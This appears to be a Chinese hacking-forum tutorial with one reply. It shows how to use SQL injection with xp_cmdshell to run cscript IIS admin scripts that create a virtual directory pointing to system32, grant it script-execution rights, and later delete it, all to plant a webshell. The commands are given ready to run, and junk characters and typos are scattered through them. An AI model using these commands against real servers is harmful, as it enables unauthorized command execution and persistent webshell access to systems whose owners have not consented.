[原创教程] 如何SQL注入建立虚拟目录 SQL, 目录, 虚拟

平湖秋月

很多情况下我们都会遇到SQL注入可以列目录和运行命令，但是却很不容易找到web所在目录，也就不好得到一个webshell，应该算是无意中发现了一招，感觉不错 整理下发上来给大家分享：
& D1 q5 y' u, Z0 C& U, r8 N) X
, L2 s$ x* ^% o& m5 a- e  r! w. Yexec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\mkwebdir.vbs -c localhost -w "l" -v "win","c:\windows\system32"'" ^8 S6 ~0 n' T0 Q1 U
建立虚拟目录win,指向c:\windows\system329 r" o% B; k( K+ ^# Q7 F2 ?
exec master.dbo.xp_cmdshell 'cscript C:\Interpub\AdminScripts\adsutil.vbs w3svc/1/root/win/Accessexecute Ture'& `* h$ X" k8 N) s( }. e
让win句有解析asp脚本权限
0 C* A" V4 f- `) w6 M. Z7 k$ g6 x, y" n. W3 {! y+ Z) f
exec master.dbo.xp_cmdshell "cscript C:\Interpub\AdminScripts\adsutil.vbs delete w3svc/1/root/h4x0r/"
0 p: m& U" z  S3 o. s/ I删除虚拟目录。
& F$ f9 K( g! h找不到web绝对路径的一种解决办法，' G% R' W" D1 Q! t. W

+ m! m1 C) M+ G0 k, [' s' p6 x403错误，表示虚拟目录建好了。。

wmmy

呀  LZ好久不见你上了啊